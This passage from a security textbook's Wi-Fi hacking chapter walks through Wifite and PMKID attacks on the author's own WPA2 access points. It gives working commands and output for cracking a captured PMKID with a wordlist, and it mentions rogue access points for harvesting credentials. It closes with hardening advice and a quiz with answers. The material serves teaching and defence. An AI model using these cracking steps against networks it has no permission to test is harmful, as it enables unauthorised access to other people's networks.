[+] DONNIE_2 (62db) WPS NULL PIN: [4m52s] Failed: Unexpected error: Reaver process stopped (exit code: 1)
[+] DONNIE_2 (62db) WPS PIN Attack: [3s] Failed: Unexpected error: Because access point is Locked
[+] DONNIE_2 (62db) PMKID CAPTURE: Captured PMKID
[+] DONNIE_2 (62db) PMKID CRACK: Cracking PMKID using /usr/share/dict/wordlist-probable.txt ...
[+] DONNIE_2 (61db) PMKID CRACKED: Key: $HEX[6a642c7d4447383151554 75c252361215754617a70242f235f47406362725d4e4427294c445f55264d4255307729513 c344c75602c687a3a5c262c52295b50]
[+] Access Point Name: DONNIE_2
[+] Access Point BSSID: C8:D7:19:48:13:F0
[+] Encryption: PMKID
[+] PMKID File: hs/pmkid_DONNIE2_C8-D7-19-48-13-F0_2026-01-24T19-25-41.22000
[+] PSK (password): $HEX[6a642c7d444738315155475c2523612157546 17a70242f235f47406362725d4e4427294c445f55264d4255307729513c344c75602 c687a3a5c262c52295b50]
[+] DONNIE_2 (62db) WPA Handshake capture: Listening. (clients:0, deauth:4s, timeout:0s)
[!] WPA handshake capture FAILED: Timed out after 300 seconds
[+] Finished attacking 1 target(s), exiting

For now, we’ll ignore the three lines at the top about the WPS attacks, which we’ll talk about in the next section.

You see that the PMKID capture was successful, but that the WPA handshake capture failed. The PSK (password) line tells us that the access point password was found in the wordlist, but it doesn’t show us the actual password. Instead, it shows the PMKID key, which doesn’t directly help us. To see the password, we’ll use the crack_pmkid.py script. It’s not included in Kali, so you’ll have to download it from GitHub. Here’s the procedure.

  1. Download the crack_pmkid.py tool from GitHub, like this:
    ┌──(kali㉿kali)-[~]
    └─$ git clone https://github.com/ZeroDayArcade/wpa-password-cracking-with-pmkid.git
  2. Next, cd into the wpa-password-cracking-with-pmkid/ directory and open the crack_pmkid.py script in your favorite text editor. Add the following shebang line to the top of the script:
    #!/usr/bin/python
  3. Add the executable permission to the script, as you’ve been doing for your shell scripts. With the shebang line and the executable permission, you can invoke the script directly, instead of always having to preface the script name with the python command.
  4. To find the access point password, you’ll need these four items of information:
    • The PMKID key
      • The ESSID, or name, of the access point
      • The MAC address of the access point
      • The MAC address of the client

Obtain this information from the pmkid file that Wifite saved to the hs/ directory, which looks like this:

┌──(kali㉿kali)-[~/hs]
└─$ ls -l
total 1284
-rw-r--r-- 1 root root 104 Feb 2 15:39 pmkid_DONNIE2_C8-D7-19-48-13-F0_2026-02-02T15-39-05.22000

The information inside this file looks like this:

┌──(kali㉿kali)-[~/hs]
└─$ cat pmkid_DONNIE2_C8-D7-19-48-13-F0_2026-02-02T15-39-05.22000
WPA*01*1fa55ce5507d5a617019b864781c9f15*c8d7194813f0*f03f039d4 c3d*4349415f5375727665696c6c616e6365***01

Note how the fields that contain the PMKID key and the MAC addresses are all separated by a single * character. Here’s the breakdown for this example:

  • 1fa55ce5507d5a617019b864781c9f15: This is the PMKID key.
  • c8d7194813f0: This is the MAC address of the access point. The Wifite script stripped the colons out of the address, but that doesn’t matter. The crack_pmkid.py script can work either with or without colons in the MAC addresses. The script is also case-insensitive, so the letters in the MAC addresses can be either upper-case or lower-case.
  • f03f039d4c3d: This is the MAC address of the client.

And of course, we already know that the ESSID of this access point is DONNIE_2.

  1. This script has no option switches for entering the required items of information. Instead, you’ll just enter the items in the correct order when you invoke the script. Here’s the proper order for entering these informational items:
    • The PMKID key
      • The ESSID, within a pair of double quotes
      • The MAC address of the access point
      • The MAC address of the client
      • The desired password wordlist

With that in mind, here’s the command to find the password for my DONNIE_2 access point:

┌──(kali㉿kali)-[~/wpa-password-cracking-with-pmkid]
└─$ ./crack_pmkid.py 1fa55ce5507d5a617019b864781c9f15 "DONNIE_2" c8d7194813f0 f03f039d4c3d /usr/share/dict/wordlist-probable.txt
PMKID: 1fa55ce5507d5a617019b864781c9f15
SSID: DONNIE_2
AP MAC Address: c8:d7:19:48:13:f0
Client MAC Address: f0:3f:03:9d:4c:3d
Attempt crack with these settings? (y/n): y
Attempting to crack password...
a00fa778c5f93de5890987138c70562f
d3f96cca5f0207218bd789e59921d296
18ae0a70a6b57278f21ae98b55715150
e247125f5d142475e63fd7c626fb4155
32ff8f27bc210a430f28664d91bf5851
e94488ec5ea3f6c6ffa85d204b68d99e
e29f9493cc7b7fcbb838fda9f4db51e1
1fa55ce5507d5a617019b864781c9f15 - Matches captured PMKID
Password Cracked!
SSID: DONNIE_2
Password: Pa$$w0rd
  1. Run the command in step 5 with the applicable parameters for your own access point and client. The very last line of output shows you the password.

One of the scary things about the PMKID attack is that you don’t even have to have a client connected to the access point for the attack to be successful. As long as a PMKID key is cached in the access point, the attack can be successful. In fact, the last time that I ran this attack against DONNIE_2, I had all of its client devices completely shut down. Yet, the attack still worked.

Next, we’ll look at the WPS attack that we skipped over in this section.

When I ran the Wifite script against the DONNIE_1 access point, Wifite didn’t run the WPS attack because DONNIE_1 has no WPS capabilities. But, DONNIE_2 does have WPS, as you see here:

[+] (1/1) Starting attacks against C8:D7:19:48:13:F0 (DONNIE_2)
[+] DONNIE_2 (62db) WPS Pixie-Dust: [4m53s] Failed: Unexpected error: Reaver says "WPS pin not found"
[+] DONNIE_2 (62db) WPS NULL PIN: [4m52s] Failed: Unexpected error: Reaver process stopped (exit code: 1)
[+] DONNIE_2 (62db) WPS PIN Attack: [3s] Failed: Unexpected error: Because access point is Locked

Wifite ran three different types of attacks against the DONNIE_2 WPS, but they all failed. This indicates that the WPS setup on my DONNIE_2 access point isn’t vulnerable to attack. So, we’ll say no more about attacking WPS.

Just to be clear, WPA2 is a fairly secure protocol, as long as you observe some precautions. First, be sure to set up the access points with a very strong password that’s extremely unlikely to be in any password wordlist. In my real life, the access point that I’ve represented here with the fictitious DONNIE_1 name has a password that’s a string of 32 random characters. The password for the access point that I’m representing with the fictitious DONNIE_2 name consists of 63 random characters. I used the Keepass password manager to generate both passwords and still use Keepass to store the passwords in a safe place. (Several years ago, a kid who used to live across the street told me that he had been trying to guess the password for DONNIE_2. I wished him lots of luck.)

Secondly, choose access point names that don’t tell hackers who owns the access points. For example, in my real home life, I wouldn’t really have any form of DONNIE in the access point names. For business environments, don’t use the business or company name as part of the access point name. Otherwise, you’re just making it more obvious what the desirable hacking targets are.

If you have a WPA2 access point with WPS capabilities, be sure to either disable WPS or configure it so that it’s not vulnerable to attack. (The procedure varies for different brands of access points, so you’ll need to consult the manufacturer’s documentation to see how to do it.)

Now, you’ve just seen that Wifite works like a champ when I use it to attack either of my WPA2 access points. Let’s see what we can do with a WPA3 access point.

The access point that I’m representing with the DONNIE_3 name is a brand-new Netgear model that’s WPA3-capable. As I explained at the beginning of this chapter, in the Understanding wireless security protocols section, WPA3 is much more secure than WPA2. The conventional attacks that I’ve just successfully performed against my two WPA2 access points didn’t work at all against WPA3, as you see here:

[+] (1/1) Starting attacks against 94:18:65:84:F4:E1 (DONNIE_3)
[+] DONNIE_3 (46db) PMKID CAPTURE: Failed to capture PMKID
[+] DONNIE_3 (44db) WPA Handshake capture: Listening. (clients:0, deauth:3s, timeout:0s)
[!] WPA handshake capture FAILED: Timed out after 300 seconds
[+] Finished attacking 1 target(s), exiting
[!] Note: Leaving interface in Monitor Mode!
[!] To disable Monitor Mode when finished: airmon-ng stop wlan0mon

As expected, none of the attacks worked against WPA3. But, according to my research, a WPA3 access point could be vulnerable if a WPA or WPA2 device is connected to it. That’s because—theoretically at least—the access point would be forced to downgrade to the less secure protocol in order to allow the older client device to connect to it. I tested this theory by configuring my ancient 2006 model Dell laptop—which I know for a fact isn’t WPA3-capable—to connect to DONNIE_3. I then reran the Wifite attack, and it still failed. I don’t know why it failed, unless there’s something about the WPA3 protocol that can also protect WPA and WPA2 connections. Of course, this type of attack might work against other brands or models of WPA3 access points, but I honestly don’t know for sure. The authors of a couple of blog posts that I found indicate that they also weren’t able to make this type of attack work. (You’ll find links to these blog posts in the Further reading section.)

The best way to attack a WPA3 access point is to set up a rogue access point with the same ESSID as the legitimate WPA3 access point. Then, try to trick users into connecting to your rogue access point. If any user falls for your trickery, harvest the access point credentials as the user enters them. (Showing you how to do this is beyond the scope of this chapter. However, I’ve placed some references in the Further reading section for anyone who’s interested.)

Some security researchers have also found vulnerabilities in the WPA3 implementation, which have been entered into the Common Vulnerabilities and Exposures (CVE) database. You’ll find information about these CVEs in the Further reading section.

So now you’re wondering, if WPA3 is the current standard and is so secure, why are we bothering with learning how to hack Wi-Fi? Well, it’s just that the world is currently transitioning from WPA2 to WPA3. Ideally, everyone would be using nothing but WPA3 for the best possible security. But there are millions of WPA2 devices in the world, and it will take time to replace all of them. Here in my own neighborhood, the majority of access points are still using WPA2, and I’ve even seen a couple of WPA and WEP access points. There are some WPA3 access points, but not that many. It’s also still worthwhile to test WPA3 networks, to see if you can find a configuration error that might make the network vulnerable.

The executable file for the Wifite script is the /usr/sbin/wifite file. However, all it does is import the wifite library from the wifite Python module, as you see here:

┌──(kali㉿kali)-[~]
└─$ cat /usr/sbin/wifite
#! /usr/bin/python3
from wifite import wifite
wifite.main()

If you’re interested in learning how Wifite actually works, you’ll find the source code files for the wifite Python module in the /usr/lib/python3/dist-packages/wifite/ directory.

When you’ve finished with your wireless hacking chores, you can restart your normal networking services with the following three commands:

┌──(kali㉿kali)-[~]
└─$ sudo airmon-ng stop wlan0mon
┌──(kali㉿kali)-[~]
└─$ sudo systemctl start NetworkManager
┌──(kali㉿kali)-[~]
└─$ sudo systemctl start wpa_supplicant

This about covers it for Wi-Fi hacking automation tools. So now, let’s go ahead and summarize.

Once again, we’ve covered some important topics in this chapter. We began with a discussion of how the Wi-Fi security protocols evolved from the incredibly weak WEP to the much more secure WPA3. Then, we briefly covered the topic of default passwords, and how they could be used to compromise wireless network devices. After showing you how to set up a USB wireless adapter on your Kali virtual machine, we looked at the Kismet wireless reconnaissance utility. (As you saw, you can use Kismet to gather a lot of important information about the surrounding wireless networks.) Finally, we covered the Wifite utility, which is a Python script that automates the wireless hacking process. You saw how Wifite can successfully perform WPS, PMKID, and 4-way handshake attacks against my two WPA2 access points, but completely failed at compromising my WPA3 access point.

In the next chapter, I’ll show you some interesting shell scripts that you can use to audit your Linux and Unix systems, and to harden them against malicious actors. I’ll see you there.

  1. Which of the following Wi-Fi encryption protocols is most secure?
    1. WPA 2. WPA2 3. WEP 4. WPA3
  2. Which of the following terms represents the name of a Wi-Fi access point?
    1. BSSID 2. ESSID 3. MAC address 4. IP address
  3. Which of the following statements is true about a PMKID attack?
    1. Clients must be connected to the access point in order for a PMKID attack to work. 2. PMKID attacks require you to capture a 4-way handshake. 3. PMKID attacks only work on WPA3 access points. 4. PMKID attacks can succeed even if no client is connected to the access point.
  4. What is the name of the protocol used for the 4-way handshake?
    1. EAPOL 2. CHAP 3. MS-CHAP 4. PAP
  5. What is the preferred way to run Kismet?
    1. Run it from a root user shell. 2. Add your own user account to the kismet group, and run it with normal user privileges. 3. Run it with sudo. 4. Create a new sudo policy for Kismet.
  1. d
  2. b
  3. d
  4. a
  5. b